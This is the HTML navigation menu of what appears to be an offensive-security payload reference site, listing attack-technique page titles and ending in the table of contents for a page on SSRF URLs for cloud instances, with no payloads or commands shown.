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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DOM Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DOM Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DOM%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
DOM Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
<span class="md-ellipsis">
LFI to RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/Wrappers/" class="md-nav__link">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
<span class="md-ellipsis">
Bazaar
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
<span class="md-ellipsis">
Git
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
<span class="md-ellipsis">
Mercurial
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
<span class="md-ellipsis">
Subversion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
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JSON Web Token
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Java RMI
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Java RMI
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Java RMI
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LDAP Injection
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LDAP Injection
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LaTeX Injection
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LaTeX Injection
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Mass Assignment
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Mass Assignment
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Mass Assignment
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Active Directory Attacks
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Bind Shell
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Cloud - AWS
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Cloud - Azure
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<a href="../../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
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Cobalt Strike
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Container - Docker
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Container - Kubernetes
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Application Escape and Breakout
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HTML Smuggling
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Hash Cracking
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Initial Access
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Linux - Evasion
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<a href="../../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
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Linux - Persistence
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<a href="../../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
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Linux - Privilege Escalation
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<a href="../../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
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MSSQL Server
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<a href="../../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
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Metasploit
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Bug Hunting Methodology and Enumeration
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Network Discovery
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<a href="../../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
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Network Pivoting Techniques
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<a href="../../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
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Office - Attacks
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<a href="../../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
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Powershell
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<a href="../../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
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Reverse Shell Cheat Sheet
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</li>
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<a href="../../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
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Source Code Management &amp; CI/CD Compromise
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Vulnerability Reports
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<a href="../../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
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Subdomains Enumeration
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Windows - AMSI Bypass
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
<span class="md-ellipsis">
Windows - DPAPI
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</a>
</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Defenses
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</a>
</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Download and execute methods
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</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Mimikatz
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</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Persistence
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
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Windows - Privilege Escalation
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</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
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Windows - Using credentials
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NoSQL Injection
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NoSQL Injection
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<a href="../../NoSQL%20Injection/" class="md-nav__link">
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NoSQL Injection
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OAuth Misconfiguration
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
OAuth Misconfiguration
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../OAuth%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
OAuth Misconfiguration
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
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ORM Leak
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
ORM Leak
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../ORM%20Leak/" class="md-nav__link">
<span class="md-ellipsis">
ORM Leak
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</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
<span class="md-ellipsis">
Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirect
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
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<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_41">
<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
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</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
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Prototype Pollution
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</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
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Prototype Pollution
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Prototype%20Pollution/" class="md-nav__link">
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Prototype Pollution
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Race Condition
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</label>
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<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
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<li class="md-nav__item">
<a href="../../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
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</ul>
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Regular Expression
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<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
Regular Expression
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Regular%20Expression/" class="md-nav__link">
<span class="md-ellipsis">
Regular Expression
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</ul>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
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<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
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</ul>
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</li>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
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<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_46">
<span class="md-nav__icon md-icon"></span>
SAML Injection
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<li class="md-nav__item">
<a href="../../SAML%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SAML Injection
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SQL Injection
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
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SQL Injection
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SQL Injection
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<li class="md-nav__item">
<a href="../../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
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Google BigQuery SQL Injection
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</a>
</li>
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Cassandra Injection
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<a href="../../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
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DB2 Injection
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<a href="../../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
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MSSQL Injection
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</a>
</li>
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<a href="../../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
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MySQL Injection
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<a href="../../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
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Oracle SQL Injection
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PostgreSQL Injection
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<li class="md-nav__item">
<a href="../../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
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SQLite Injection
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</a>
</li>
<li class="md-nav__item">
<a href="../../SQL%20Injection/SQLmap/" class="md-nav__link">
<span class="md-ellipsis">
SQLmap
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
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</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" checked>
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SSRF-Advanced-Exploitation/" class="md-nav__link">
<span class="md-ellipsis">
SSRF Advanced Exploitation
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--active">
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
<label class="md-nav__link md-nav__link--active" for="__toc">
<span class="md-ellipsis">
SSRF URL for Cloud Instances
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
<span class="md-ellipsis">
SSRF URL for Cloud Instances
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-aws" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for AWS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-aws-ecs" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for AWS ECS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ssrf-url-for-aws-elastic-beanstalk" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for AWS Elastic Beanstalk
</span>
</a>
</li>
<li class="md-nav__item">
